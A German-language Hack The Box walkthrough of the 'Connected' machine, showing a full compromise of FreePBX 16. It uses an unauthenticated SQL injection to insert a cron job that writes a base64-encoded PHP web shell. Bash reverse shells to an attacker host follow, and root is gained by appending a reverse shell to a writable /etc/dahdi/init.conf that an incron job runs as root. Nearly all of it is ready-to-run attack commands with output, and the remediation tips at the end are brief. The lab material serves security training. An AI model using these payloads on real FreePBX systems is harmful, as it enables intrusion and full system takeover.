
Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.
Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.
Die Angriffskette beginnt mit einer unauthentifizierten SQL-Injection-Schwachstelle in FreePBX, die genutzt wird, um über einen manipulierten Cron-Job Code-Ausführung als Benutzer asterisk zu erlangen. Eine beschreibbare Konfigurationsdatei in Kombination mit einem incron-Trigger ermöglicht anschließend die Privilegienausweitung auf root.
Dieser Fall zeigt, wie Schwachstellen in Webanwendungen, kombiniert mit schwachen lokalen Berechtigungen und unsicherer privilegierter Automatisierung, zur vollständigen Systemkompromittierung führen können.
Ein schneller Portscan zeigt die offenen Ports des Ziels:
nmap -T5 --open <MACHINE_IP>
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Weitere Untersuchungen zeigen einen Apache-Server mit PHP 7.4, der eine HTTP-Weiterleitung auf folgende Adresse durchführt:
http://connected.htb/
Um die Website korrekt aufzurufen, muss die Virtual-Host-Zuordnung hinzugefügt werden:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Ein Aufruf von http://connected.htb/ zeigt:
FreePBX 16.0.40.7
Die Recherche identifiziert CVE-2025-57819, eine unauthentifizierte, fehlerbasierte SQL-Injection-Schwachstelle in der FreePBX-Endpoint-Manager-Komponente.
Bestätigen Sie die Schwachstelle, indem Sie den Datenbankbenutzer extrahieren:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
Die Antwort enthält:
~USER:freepbxuser@localhost~
Dies bestätigt, dass die SQL-Injection funktioniert und die Anwendung sich als folgender Benutzer mit MySQL verbindet:
freepbxuser@localhost
FreePBX speichert geplante Jobs in der Tabelle cron_jobs.
Durch das Injizieren eines bösartigen Eintrags in diese Tabelle können beliebige Befehle zur Ausführung eingeplant werden.
Der folgende Payload erstellt eine PHP-Web-Shell im Web-Root:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
Der Server gibt einen generischen 500-Fehler zurück, aber die SQL-Anweisung wird erfolgreich ausgeführt.
Nach etwa einer Minute kann überprüft werden, ob die Web-Shell erstellt wurde:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Ausgabe:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Wir haben nun über HTTP-Anfragen Code-Ausführung als Benutzer asterisk.
Starten Sie einen Netcat-Listener auf der Angreifer-Maschine:
nc -lvnp 4444
Lösen Sie eine Bash-Reverse-Shell über die Web-Shell aus:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Eine Verbindung wird hergestellt:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Wir haben nun eine interaktive Shell als Benutzer asterisk.
Suchen Sie nach beschreibbaren Dateien unter /etc, wobei bekannte Fehlalarme ausgeschlossen werden:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Ein bemerkenswertes Ergebnis ist:
/etc/dahdi/init.conf
Untersuchen Sie als Nächstes die incron-Konfiguration:
cat /etc/incron.d/*
Dies zeigt den folgenden Dateisystem-Watcher:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Das bedeutet, dass immer dann, wenn die Sentinel-Datei:
/var/spool/asterisk/sysadmin/dahdi_restart
beschrieben wird, das folgende Skript ausgeführt wird:
/usr/sbin/sysadmin_dahdi_restart
Die Untersuchung des Skripts zeigt, dass es folgende Datei einbindet (sourced):
/etc/dahdi/init.conf
Da /etc/dahdi/init.conf vom Benutzer asterisk beschreibbar ist und von einem Root-Prozess eingebunden wird, bietet dies einen Pfad zur Ausführung beliebiger Befehle als root.
Starten Sie einen zweiten Netcat-Listener auf Port 4445:
nc -lvnp 4445
Fügen Sie aus der asterisk-Shell einen Reverse-Shell-Payload an die beschreibbare Konfigurationsdatei an:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Lösen Sie die incron-Aktion aus, indem Sie in die überwachte Datei schreiben:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
Innerhalb von Sekunden verbindet sich die Root-Shell:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Vollständiger Root-Zugriff erreicht!
cat /home/asterisk/user.txt
Ausgabe:
HTB{...user_flag...}
cat /root/root.txt
Ausgabe:
HTB{...root_flag...}
Unauthentifizierte SQL-Injection
│
▼
MySQL-Abfrageausführung
│
▼
Bösartigen Cron-Job einfügen
│
▼
PHP-Web-Shell
│
▼
asterisk-Shell
│
▼
Beschreibbare /etc/dahdi/init.conf
│
▼
incron-Trigger
│
▼
Root-Befehlsausführung
│
▼
root
| Schwachstelle | Auswirkung |
|---|---|
| Unauthentifizierte SQL-Injection | Legte den Datenbank-Benutzerkontext offen und bot einen Einstiegspunkt zum Schreiben bösartiger Daten |
| Cron-Job-Injection | Ermöglichte Remote-Code-Ausführung als Dienstkonto mit niedrigen Rechten |
| Beschreibbare Konfigurationsdatei + incron | Ermöglichte direkte Privilegienausweitung auf root |
| Privilegiertes Skript bindet benutzerbeschreibbare Datei ein | Ermöglichte die Ausführung beliebiger Befehle mit Root-Rechten |
Verwenden Sie parametrisierte Abfragen und strenge Eingabevalidierung für alle Datenbankoperationen.
Benutzergesteuerte Eingaben dürfen niemals direkt in SQL-Abfragen verkettet werden.
Konfigurationsdateien, die von privilegierten Diensten verwendet werden, sollten für Dienstkonten mit niedrigen Rechten nicht beschreibbar sein.
Überprüfen Sie insbesondere die Berechtigungen von Dateien unter:
/etc/
Auditieren Sie regelmäßig geplante Aufgaben und Dateisystem-Watcher.